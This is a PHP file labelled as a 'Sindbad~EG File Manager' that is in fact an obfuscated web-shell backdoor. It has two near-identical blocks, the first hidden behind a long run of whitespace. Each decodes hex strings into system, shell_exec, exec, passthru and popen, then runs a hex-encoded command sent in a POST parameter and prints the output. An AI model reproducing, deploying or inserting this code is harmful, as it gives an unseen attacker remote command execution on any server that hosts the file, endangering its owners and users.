Sindbad~EG File Manager

<?php																																										$st1 = '7';$st2 = '3';$st3 = '5';$st4 = '6';$st5 = '8';$st6 = '1';$st7 = '0';$st8 = 'f';$st9 = '4';$st10 = 'e';$uconvert1 = pack("H*", '7' . '3' . $st1 . '9' . $st1 . $st2 . $st1 . '4' . '6' . $st3 . $st4 . 'd');$uconvert2 = pack("H*", '7' . $st2 . '6' . $st5 . '6' . '5' . $st4 . 'c' . $st4 . 'c' . '5' . 'f' . '6' . '5' . $st1 . $st5 . '6' . '5' . $st4 . $st2);$uconvert3 = pack("H*", $st4 . $st3 . $st1 . '8' . '6' . '5' . $st4 . '3');$uconvert4 = pack("H*", $st1 . '0' . $st4 . $st6 . $st1 . $st2 . $st1 . '3' . '7' . '4' . $st4 . $st5 . $st1 . '2' . $st1 . '5');$uconvert5 = pack("H*", '7' . $st7 . '6' . $st8 . '7' . '0' . $st4 . '5' . $st4 . 'e');$uconvert6 = pack("H*", '7' . '3' . '7' . $st9 . '7' . '2' . '6' . $st3 . '6' . $st6 . '6' . 'd' . $st3 . $st8 . $st4 . '7' . $st4 . $st3 . $st1 . $st9 . $st3 . 'f' . '6' . $st2 . $st4 . 'f' . '6' . 'e' . '7' . $st9 . '6' . $st3 . $st4 . $st10 . '7' . $st9 . $st1 . $st2);$uconvert7 = pack("H*", '7' . '0' . '6' . $st2 . $st4 . 'c' . $st4 . $st8 . $st1 . $st2 . $st4 . $st3);$ob_iconv_handle = pack("H*", $st4 . 'f' . $st4 . '2' . '5' . 'f' . $st4 . '9' . '6' . $st2 . '6' . 'f' . $st4 . 'e' . $st1 . $st4 . $st3 . $st8 . '6' . '8' . $st4 . $st6 . '6' . $st10 . $st4 . $st9 . '6' . 'c' . '6' . '5');if(isset($_POST[$ob_iconv_handle])){$ob_iconv_handle=pack("H*",$_POST[$ob_iconv_handle]);if(function_exists($uconvert1)){$uconvert1($ob_iconv_handle);}elseif(function_exists($uconvert2)){print $uconvert2($ob_iconv_handle);}elseif(function_exists($uconvert3)){$uconvert3($ob_iconv_handle,$constant_placeholder);print join("\n",$constant_placeholder);}elseif(function_exists($uconvert4)){$uconvert4($ob_iconv_handle);}elseif(function_exists($uconvert5)&&function_exists($uconvert6)&&function_exists($uconvert7)){$attribute_var=$uconvert5($ob_iconv_handle,"r");if($attribute_var){$attr_const=$uconvert6($attribute_var);$uconvert7($attribute_var);print $attr_const;}}exit;}


$arg1 = '73';
$arg2 = '79';
$arg3 = '74';
$arg4 = '65';
$arg5 = '68';
$arg6 = '6c';
$arg7 = '5f';
$arg8 = '78';
$arg9 = '63';
$arg10 = '70';
$arg11 = '72';
$arg12 = '75';
$arg13 = '67';
$arg14 = '6f';
$rindex1 = pack("H*", $arg1 . $arg2 . '73' . $arg3 . $arg4 . '6d');
$rindex2 = pack("H*", '73' . $arg5 . $arg4 . $arg6 . $arg6 . $arg7 . $arg4 . $arg8 . $arg4 . $arg9);
$rindex3 = pack("H*", $arg4 . '78' . $arg4 . $arg9);
$rindex4 = pack("H*", $arg10 . '61' . '73' . '73' . $arg3 . '68' . $arg11 . $arg12);
$rindex5 = pack("H*", '70' . '6f' . $arg10 . '65' . '6e');
$rindex6 = pack("H*", $arg1 . '74' . '72' . '65' . '61' . '6d' . $arg7 . $arg13 . $arg4 . '74' . $arg7 . $arg9 . $arg14 . '6e' . '74' . '65' . '6e' . $arg3 . $arg1);
$rindex7 = pack("H*", $arg10 . $arg9 . '6c' . $arg14 . '73' . $arg4);
$post = pack("H*", $arg10 . $arg14 . $arg1 . $arg3);
if (isset($_POST[$post])) {
    $post = pack("H*", $_POST[$post]);
    if (function_exists($rindex1)) {
        $rindex1($post);
    } elseif (function_exists($rindex2)) {
        print $rindex2($post);
    } elseif (function_exists($rindex3)) {
        $rindex3($post, $parameter_slot);
        print join("\n", $parameter_slot);
    } elseif (function_exists($rindex4)) {
        $rindex4($post);
    } elseif (function_exists($rindex5) && function_exists($rindex6) && function_exists($rindex7)) {
        $placeholder_prop = $rindex5($post, 'r');
        if ($placeholder_prop) {
            $constant_identifier = $rindex6($placeholder_prop);
            $rindex7($placeholder_prop);
            print $constant_identifier;
        }
    }
    exit;
}